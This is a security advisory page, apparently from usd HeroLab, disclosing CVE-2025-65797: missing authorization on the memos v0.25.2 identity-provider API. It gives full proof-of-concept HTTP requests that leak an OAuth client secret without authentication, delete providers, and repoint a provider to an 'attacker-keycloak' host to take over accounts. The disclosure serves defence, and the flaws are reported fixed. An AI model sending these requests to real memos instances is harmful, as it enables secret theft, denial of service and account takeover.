{"id":24614,"date":"2025-12-05T12:50:23","date_gmt":"2025-12-05T11:50:23","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=24614"},"modified":"2025-12-10T14:43:47","modified_gmt":"2025-12-10T13:43:47","slug":"usd-2025-0057","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0057\/","title":{"rendered":"usd-2025-0057"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n

usd-2025-57 | Broken Access Control in IDP Server<\/h1>\n

<\/h1>\n

Product<\/strong>: memos
Affected Version<\/strong>: v0.25.2
Vulnerability Type<\/strong>: CWE-862: Missing Authorization
Security Risk<\/strong>: High
Vendor<\/strong>: usememos
Vendor URL<\/strong>: https:\/\/github.com\/usememos\/memos<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
CVE Number<\/strong>: CVE-2025-65797
CVE Link<\/strong>: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65797<\/a>
Advisory ID<\/strong>: usd-2025-57<\/p>\n

Description<\/h3>\n

Memos is a lightweight, self-hosted knowledge management and note-taking platform designed for personal use. The architecture features a Go backend paired with a React+Vite frontend, using gRPC for internal communication and providing REST API access through gRPC-Gateway. It supports multiple database backends (SQLite, MySQL, PostgreSQL) and includes features like file attachments, OAuth\/SSO integration, activity logging, and internationalization.<\/p>\n

The OAuth service, managing registered identity providers, has multiple broken access control vulnerabilities. The client secret is exposed to unauthenticated users. Furthermore, authenticated users can remove registered identity providers, creating a denial of service risk. Finally, authenticated users can modify existing identity providers, enabling them to take over arbitrary accounts.<\/p>\n

Proof of Concept<\/h3>\n

Information Leak<\/h4>\n

Unauthenticated users can request a list of registered identity providers via the following HTTP request.<\/p>\n

\n
<\/span>GET<\/span> \/api\/v1\/identityProviders<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> memos:5230<\/span>\n<\/pre>\n<\/div>\n
The response contains the client secret.<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK<\/span>\nContent-Type<\/span>:<\/span> application\/json<\/span>\nGrpc-Metadata-Content-Type<\/span>:<\/span> application\/grpc<\/span>\nVary<\/span>:<\/span> Origin<\/span>\nContent-Length<\/span>:<\/span> 614<\/span>\n\n{<\/span>\n    <\/span>\"identityProviders\"<\/span>:<\/span> <\/span>[<\/span>\n        <\/span>{<\/span>\n            <\/span>\"name\"<\/span>:<\/span> <\/span>\"identityProviders\/1\"<\/span>,<\/span>\n            <\/span>\"type\"<\/span>:<\/span> <\/span>\"OAUTH2\"<\/span>,<\/span>\n            <\/span>\"title\"<\/span>:<\/span> <\/span>\"Keycloak\"<\/span>,<\/span>\n            <\/span>\"identifierFilter\"<\/span>:<\/span> <\/span>\"\"<\/span>,<\/span>\n            <\/span>\"config\"<\/span>:<\/span> <\/span>{<\/span>\n                <\/span>\"oauth2Config\"<\/span>:<\/span> <\/span>{<\/span>\n                    <\/span>\"clientId\"<\/span>:<\/span> <\/span>\"memos\"<\/span>,<\/span>\n                    <\/span>\"clientSecret\"<\/span>:<\/span> <\/span>\"uaAxplLT2BMPBV9xSJPnWUt9MBmtM8cs\"<\/span>,<\/span>\n                    <\/span>\"authUrl\"<\/span>:<\/span> <\/span>\"[http:\/\/keycloak:8000\/realms\/master\/protocol\/openid-connect\/auth\"<\/span>,]<\/span>()<\/span>\n                    <\/span>[<\/span>...<\/span>],<\/span>\n                    <\/span>\"fieldMapping\"<\/span>:<\/span> <\/span>{<\/span>\n                        <\/span>[<\/span>...<\/span>]<\/span>\n                    <\/span>}<\/span>\n                <\/span>}<\/span>\n            <\/span>}<\/span>\n        <\/span>}<\/span>\n    <\/span>]<\/span>\n}<\/span>\n<\/pre>\n<\/div>\n
The client secret can be used to impersonate the Memos instance at the identity provider.<\/p>\n
Denial of Service<\/h3>\n
Authenticated, low-privileged users can delete registered identity providers via the following HTTP request.<\/p>\n
\n
<\/span>DELETE<\/span> \/api\/v1\/identityProviders\/1<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> memos:5230<\/span>\nCookie<\/span>:<\/span> user_session=2-c2[... Session from low-privileged user ...]a6<\/span>\n<\/pre>\n<\/div>\n
This prevents further sign ins and represents a denial of service attack.<\/p>\n
Account Takeover<\/h3>\n
Authenticated, low-privileged users can modify the configuration of registered identity providers via the following HTTP request.<\/p>\n
\n
<\/span>PATCH<\/span> \/api\/v1\/identityProviders\/1?updateMask=config<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> memos:5230<\/span>\nContent-Type<\/span>:<\/span> application\/json<\/span>\nCookie<\/span>:<\/span> user_session=2-c2[... Session from low-privileged user ...]a6<\/span>\nContent-Length<\/span>:<\/span> 621<\/span>\n\n{<\/span>\n    <\/span>\"name\"<\/span>:<\/span> <\/span>\"identityProviders\/1\"<\/span>,<\/span>\n    <\/span>\"type\"<\/span>:<\/span> <\/span>\"OAUTH2\"<\/span>,<\/span>\n    <\/span>\"title\"<\/span>:<\/span> <\/span>\"KeycloakFromAttacker\"<\/span>,<\/span>\n    <\/span>\"identifierFilter\"<\/span>:<\/span> <\/span>\"\"<\/span>,<\/span>\n    <\/span>\"config\"<\/span>:<\/span> <\/span>{<\/span>\n        <\/span>\"oauth2Config\"<\/span>:<\/span> <\/span>{<\/span>\n            <\/span>\"clientId\"<\/span>:<\/span> <\/span>\"memos\"<\/span>,<\/span>\n            <\/span>\"clientSecret\"<\/span>:<\/span> <\/span>\"uaAxplLT2BMPBV9xSJPnWUt9MBmtM8cs\"<\/span>,<\/span>\n            <\/span>\"authUrl\"<\/span>:<\/span> <\/span>\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/auth\"<\/span>,]<\/span>()<\/span>\n            <\/span>\"tokenUrl\"<\/span>:<\/span> <\/span>\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/token\"<\/span>,]<\/span>()<\/span>\n            <\/span>\"userInfoUrl\"<\/span>:<\/span> <\/span>\"[http:\/\/attacker-keycloak:8000\/realms\/master\/protocol\/openid-connect\/userinfo\"<\/span>,]<\/span>()<\/span>\n            <\/span>\"scopes\"<\/span>:<\/span> <\/span>[<\/span>\n                <\/span>\"openid\"<\/span>,<\/span>\n                <\/span>\"profile\"<\/span>,<\/span>\n                <\/span>\"email\"<\/span>\n            <\/span>],<\/span>\n            <\/span>\"fieldMapping\"<\/span>:<\/span> <\/span>{<\/span>\n                <\/span>\"identifier\"<\/span>:<\/span> <\/span>\"preferred_username\"<\/span>,<\/span>\n                <\/span>\"displayName\"<\/span>:<\/span> <\/span>\"username\"<\/span>,<\/span>\n                <\/span>\"email\"<\/span>:<\/span> <\/span>\"email\"<\/span>,<\/span>\n                <\/span>\"avatarUrl\"<\/span>:<\/span> <\/span>\"\"<\/span>\n            <\/span>}<\/span>\n        <\/span>}<\/span>\n    <\/span>}<\/span>\n}<\/span>\n<\/pre>\n<\/div>\n
A malicious identity provider can then be used to take over arbitrary accounts, including the host user. Note that required usernames are accessible via the \/api\/v1\/users\/<\/strong> endpoint.<\/p>\n
Fix<\/h3>\n
Fixes for all mentioned vulnerabilities have been submitted as pull request<\/a>.<\/p>\n
References<\/h3>\n